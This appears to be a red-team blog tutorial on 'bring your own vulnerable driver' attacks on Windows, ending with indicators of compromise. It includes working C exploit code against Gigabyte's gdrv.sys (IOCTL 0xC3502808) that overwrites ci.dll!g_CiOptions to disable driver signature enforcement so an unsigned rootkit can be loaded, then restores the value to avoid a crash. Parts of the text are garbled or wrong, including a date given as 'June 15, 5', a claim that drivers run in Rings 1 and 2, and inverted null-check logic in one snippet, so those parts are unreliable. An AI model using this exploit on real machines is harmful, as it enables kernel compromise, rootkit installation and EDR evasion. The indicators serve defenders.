BYOVD: Bring Your Own Vulnerable Driver
What is a driver?
A driver is a type of executable similar to a PE file, but it is designed to run in kernel mode, granting it elevated privileges. This execution context allows the driver to interact directly with hardware components, manage low-level system resources such as memory, and access kernel APIs with minimal abstraction.
Endpoint Detection and Response (EDR) solutions often leverage kernel-mode drivers to monitor and classify processes, detect malicious behavior patterns (such as BadUSB attacks), and perform deep packet inspection on network traffic. This elevated position in the system architecture allows security products to enforce protections that cannot be easily circumvented by user-mode processes, even those running with administrative privileges.
The security implications of kernel drivers are significant—when vulnerabilities exist in driver code, they can be exploited to achieve privileged code execution in the most sensitive areas of the operating system.
What is a Kernel ?
The kernel operates at Ring 0 in the CPU privilege architetire, representing one of the highest level of privilege. Device drivers typically execute in Ring 1 or Ring 2, depending on the operating system architecture and implementation, while user-mode applications run in Ring 3, the least privileged level. Nowadays the new architeture is negative rings, because a new implementation of software and hardware in the same architeture and proctecions
Other layers is not so important at the moment, except Ring -1 because is a Hypervisor, and hypervisor is used to protect Kernel layer (VBS and KPP) avoiding new exploits intercepting low-level operations and triggering Kernel Routines like KeBugCheck and BSOD.
So, exploting an driver you can have more privileges than any process in user-mode, abusing that privilges to use kernel operations, modifying system attributes and hiding evidences.
What can a vulnerable driver do in a Red Team Operation?
In the context of Red Team operations, exploiting vulnerable drivers provides attackers with enhanced capabilities to bypass security controls, including the ability to operate with increased stealth, neutralize Endpoint Detection and Response (EDR) solutions, escalate privileges, and manipulate security tokens.
Vulnerable drivers offer several tactical advantages:
- Privilege escalation to SYSTEM level
- Modification of Process Protection (PP) and Protected Process Light (PPL) settings
- Security token manipulation
- Process concealment techniques
- Removal of kernel callbacks used by security products
- Disabling of Event Tracing for Windows (ETW)
- Driver Signature Enforcement (DSE) bypass (when Virtualization-Based Security is not enabled)
Despite these capabilities, exploiting driver vulnerabilities has become increasingly challenging due to Microsoft’s implementation of multiple defense mechanisms:
- Hypervisor-Protected Code Integrity (HVCI): A security feature introduced in Windows 10 that validates drivers against the vulnerable-drivers blocklist.
- Virtualization-Based Security (VBS): Virtualizes hardware components to isolate the kernel in a secure environment (Secure Kernel).
- Kernel Patch Guard (KPP): Monitors kernel integrity and triggers a KeBugCheck (BSOD) when corruption or critical function modifications are detected. Notably, KPP’s monitoring is not continuous, creating potential exploitation windows.
- Driver Signature Requirements: Since June 15, 5, drivers must be properly signed to load. However, threat actors can still utilize leaked or stolen certificates to sign malicious drivers, as demonstrated by the Nvidia certificate compromised by the LAPSUS$ group.
These protections exist primarily because Advanced Persistent Threats (APTs) frequently leverage vulnerable or malicious drivers to obtain elevated privileges, conceal processes, and destroy evidence.
To verify HVCI status on a system, you can execute the following PowerShell command:
1
Get-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\DeviceGuard\Scenarios\HypervisorEnforcedCodeIntegrity" -Name Enabled
A return value of 1 indicates VBS is enabled, while 2 signifies HVCI is active.
It’s worth noting that despite Microsoft’s Windows Hardware Quality Labs (WHQL) certification process for third-party drivers, malicious or vulnerable drivers have occasionally received approval, creating persistent security risks.
How does a driver work?
Drivers operate through a structured communication mechanism with the Windows kernel. At the core of this interaction is the IRP (I/O Request Packet) structure, which facilitates data between user-mode applications and kernel-mode drivers.
Each driver exposes a symbolic link which is a Named Device Object that allows user-mode applications to establish communication channels.
Below is an implementation example demonstrating the communication pattern:
Client Application:
1
2
3
4
5
// Client to driver communication via symbolic link \\.\w00tw00t
#define IOCTL_READ 0x8000
// Additional code initialization...
HANDLE handle = CreateFile("\\.\\w00w00t", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);
DeviceIoControl(handle, IOCTL_READ, inputBuffer, inputBufferSize, outputBuffer, outputBufferSize, &bytesReturned, NULL);
Driver Implementation:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
// Driver initialization
PDEVICE_OBJECT deviceObject;
UNICODE_STRING deviceName, symbolicLinkName;
status = IoCreateDevice(DriverObject, 0, &deviceName, FILE_DEVICE_UNKNOWN, 0, FALSE, &deviceObject);
status = IoCreateSymbolicLink(&symbolicLinkName, &deviceName);
// Set dispatch routines
DriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL] = DriverIoControlHandler;
// IOCTL handler implementation
NTSTATUS DriverIoControlHandler(PDEVICE_OBJECT DeviceObject, PIRP Irp) {
PIO_STACK_LOCATION irpStack = IoGetCurrentIrpStackLocation(Irp);
ULONG ioControlCode = irpStack->Parameters.DeviceIoControl.IoControlCode;
switch (ioControlCode) {
case IOCTL_READ:
// Handle read operation
break;
// Additional cases...
}
return status;
}
Drivers utilize IOCTL (Input/Output Control) codes to dispatch received requests to appropriate handling functions. This mechanism allows for a wide range of operations, from simple data transfers to complex hardware interactions.
Within the Windows kernel, the ci.dll module contains the g_CiOptions variable, which controls Driver Signature Enforcement (DSE). This security mechanism verifies driver signatures before allowing them to load, with several possible configuration states:
0x6: Enabled (standard enforcement)0x0: Disabled (no signature validation)0xE: TestSigning mode (allows test-signed drivers)
IRP Internals
The IRP structure serves as the foundation for kernel-driver communication in Windows. Understanding its components is crucial for driver:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
//struct from https://learn.microsoft.com/pt-br/windows-hardware/drivers/ddi/wdm/ns-wdm-_irp
typedef struct _IRP {
CSHORT Type;
USHORT Size;
PMDL MdlAddress;
ULONG Flags;
union {
struct _IRP *MasterIrp;
__volatile LONG IrpCount;
PVOID SystemBuffer;
} AssociatedIrp;
LIST_ENTRY ThreadListEntry;
IO_STATUS_BLOCK IoStatus;
KPROCESSOR_MODE RequestorMode;
BOOLEAN PendingReturned;
CHAR StackCount;
CHAR CurrentLocation;
BOOLEAN Cancel;
KIRQL CancelIrql;
CCHAR ApcEnvironment;
UCHAR AllocationFlags;
union {
PIO_STATUS_BLOCK UserIosb;
PVOID IoRingContext;
};
PKEVENT UserEvent;
union {
struct {
union {
PIO_APC_ROUTINE UserApcRoutine;
PVOID IssuingProcess;
};
union {
PVOID UserApcContext;
#if ...
_IORING_OBJECT *IoRing;
#else
struct _IORING_OBJECT *IoRing;
#endif
};
} AsynchronousParameters;
LARGE_INTEGER AllocationSize;
} Overlay;
__volatile PDRIVER_CANCEL CancelRoutine;
PVOID UserBuffer;
union {
struct {
union {
KDEVICE_QUEUE_ENTRY DeviceQueueEntry;
struct {
PVOID DriverContext[4];
};
};
PETHREAD Thread;
PCHAR AuxiliaryBuffer;
struct {
LIST_ENTRY ListEntry;
union {
struct _IO_STACK_LOCATION *CurrentStackLocation;
ULONG PacketType;
};
};
PFILE_OBJECT OriginalFileObject;
} Overlay;
KAPC Apc;
PVOID CompletionKey;
} Tail;
} IRP;
Key members to focus on:
- AssociatedIrp.SystemBuffer: Points to a buffer shared between user mode and kernel mode for buffered I/O.
- Tail.Overlay.CurrentStackLocation: Contains a pointer to the current IO_STACK_LOCATION structure, which includes details about the I/O operation (MajorFunction, Parameters, etc.).
Common Vulnerabilities
Driver vulnerabilities typically arise from improper handling of user-supplied input and inadequate validation of memory operations. The most prevalent vulnerability classes include:
Arbitrary Write Primite
Stack/Heap Overflow
Killer
Write/Read Primitive Code
Case Study: Exploiting a Vulnerable Driver
To demonstrate these concepts in practice, let’s examine the exploitation of gdrv.sys, a vulnerable driver distributed by Gigabyte from LOLDrivers repository, which catalogs publicly known vulnerable drivers.
The first step in analyzing any driver is locating its entry point. For Windows drivers, this is typically an exported function named DriverEntry:
Within the DriverEntry function, we can observe the driver’s initialization process, including how it sets up dispatch routines for handling IRPs:
The driver passes the DriverObject pointer to a setup routine that configures the device object and IRP handlers.
The setup routine creates a device object and establishes a symbolic link to allow user-mode applications to communicate with the driver:
The MajorFunctions is indexed by decimal value so, MajorFunction[14], 14 means IRP_MJ_DEVICE_CONTROL.
The IRP handler extracts the IOCTL code and parameters from the current stack location:
Into the function IRP_Handler its call CurrentStackLocation, MajorFunction, InputBuffer, OutputBuffer and IoControlCode
CurrentStackLocation is called to manage MajorFunction to se what MajorFunction client called, InputBuffer to see what buffer clients sends and OutputBuffer if have and Output from Driver.
IoControlCode to see what IOCTL is called to see what client calls to see what function will be executed
Going down its possible to see a switch function to what IOCTL do you wanna to use
Into the switch he will compare to few IOCTL code and 0xC3502808 IOCTL Code has a memcpy-like function and vulnerable to exploit.
Dst and Source is a SystemBuffer received with a length of 8 bytes because its is QWORD and Size is DWORD so its have a lenth of 4 bytes, its enough to exploit and run our own rootkit.
So, how exploit it ?
Developing an exploit for a vulnerable driver becomes not so hard once you understand the process and mechanisms of the Windows kernel.
First of all, its required to get the value of DSE but to get the correct addres you need to calculate the offset because in any update an kernel address will change the offset.
It’s possible to load in-memory PDB from the internet, similar to EDRSandblast or calculate from yourself, using patterns or debbugger too.
An example code how to get a DSE offset:
1
2
3
4
5
6
7
8
9
10
11
12
HMODULE CiHandle = LoadLibraryExA("ci.dll", NULL, DONT_RESOLVE_DLL_REFERENCES);
if(!CiHandle) {
return -1;
}
PBYTE CiInitializeOffset = (PBYTE)GetProcAddress(CiHandle, "CiInitialize");
if(CiInitializeOffset == NULL) {
ULONG64 Address = (ULONG64)(CiInitializeOffset - (PBYTE)CiHandle + baseAddressKernel);
printf("DSE: %p\n",(Address+gCiOptionsOffset)); //You need to find de g_CiOptions
return 0;
} else {
return -1;
}
Its use ci.dll!CiInitialize because its nearest memory address to g_CiOptions of DSE
After calculate the offset of a DSE, to send the payload its required communicate with a Driver and exploit using the IOCTL found, after have a symbolic link and MajorFunction
So you can use a Windows API CreateFile and DeviceIoControl to estabilish communication and send the data to IOCTL found in driver, exploiting a memcpy-like function.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#define IOCTL_CODE 0xC3502808; // IOCTL Code
typedef struct _MemcpyLikeFunc { // Struct to send our data
ULONG64 dest;
ULONG64* src;
DWORD size;
} MemcpyLikeFunc;
...
MemcpyLikeFunc gdrvStruct; //Create struct
gdrvStruct.dest = gCiOptionsAddress; //ci.dll!g_CiOptions
gdrvStruct.size = 1; // 1 byte legnth
gdrvStruct.src = (ULONG64*)0xe; //TestSigning Mode
HANDLE HandleDriver = CreateFile(L"\\\\.\\GIO", GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, 0, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if(!HandleDriver) {
return -1;
}
BYTE buff[0x30] = NULL;
DeviceIoControl(HandleDriver, IOCTL_CODE, (LPVOID)&gdrvStruct, sizeof(gdrvStruct), (LPVOID)buff, sizeof(buff), NULL, NULL);
... //rootkit load here
gdrvStruct.src = (ULONG64*)0x6; //Enable DSE to avoid KeBugCheck routine
DeviceIoControl(HandleDriver, IOCTL_CODE, (LPVOID)&gdrvStruct, sizeof(gdrvStruct), (LPVOID)buff, sizeof(buff), NULL, NULL);
CloseHandle(HandleDriver);
To check if DSE status you can use WinDBG attached to a kernel with with the following command:
1
2
kd> dt ci.dll!g_CiOptions L1
<AddressHere> 0xe
Its the way to abuse a IOCTL 0xC3502808 which is a memcpy-like vulnerable function to was exploited.
This flaw is categorized as a Arbitrary Write/Read Primitive driver flaw.
And the code to exploit is that, not a monstruosity code and try to avoids KeBugCheck and its possible loads rootkit.
And there is how to identify and exploit Driver to abuse that in Red Team Operations.
Indication of Compromisse (IoC)
MD5 hashes
- b0954711c133d284a171dd560c8f492a
- 043d5a1fc66662a3f91b8a9c027f9be9
- 3c55092900343d3d28564e2d34e7be2c
- 7907e14f9bcf3a4689c9a74a1a873cb6
- a72e10ecea2fdeb8b9d4f45d0294086b
- 31f34de4374a6ed0e70a022a0efa2570
- 4e093256b034925ecd6b29473ff16858
- 1549e6cbce408acaddeb4d24796f2eaf
- c832a4313ff082258240b61b88efa025
- d556cb79967e92b5cc69686d16c1d846
SHA1 hashes
- 4f0d9122f57f4f8df41f3c3950359eb1284b9ab5
- 3d8cc9123be74b31c597b0014c2a72090f0c44ef
- 1a56614ea7d335c844b7fc6edd5feb59b8df7b55
- b9b72a5be3871ddc0446bae35548ea176c4ea613
- 4692730f6b56eeb0399460c72ade8a15ddd43a62
- c70989ed7a6ad9d7cd40ae970e90f3c3f2f84860
- eba5483bb47ec6ff51d91a9bdf1eee3b6344493d
- 18f09ec53f0b7d2b1ab64949157e0e84628d0f0a
- 1f1ce28c10453acbc9d3844b4604c59c0ab0ad46
- de2b56ef7a30a4697e9c4cdcae0fc215d45d061d
Other
- Unknown binary running with anomalous behaviour;
- Unknown drivers running;
- Communicate to Microsoft and exeucting CreateFile and DeviceIoControl to \\.\GIO;
- Symbolic Link \\.\GIO open;
- Match same certificate.






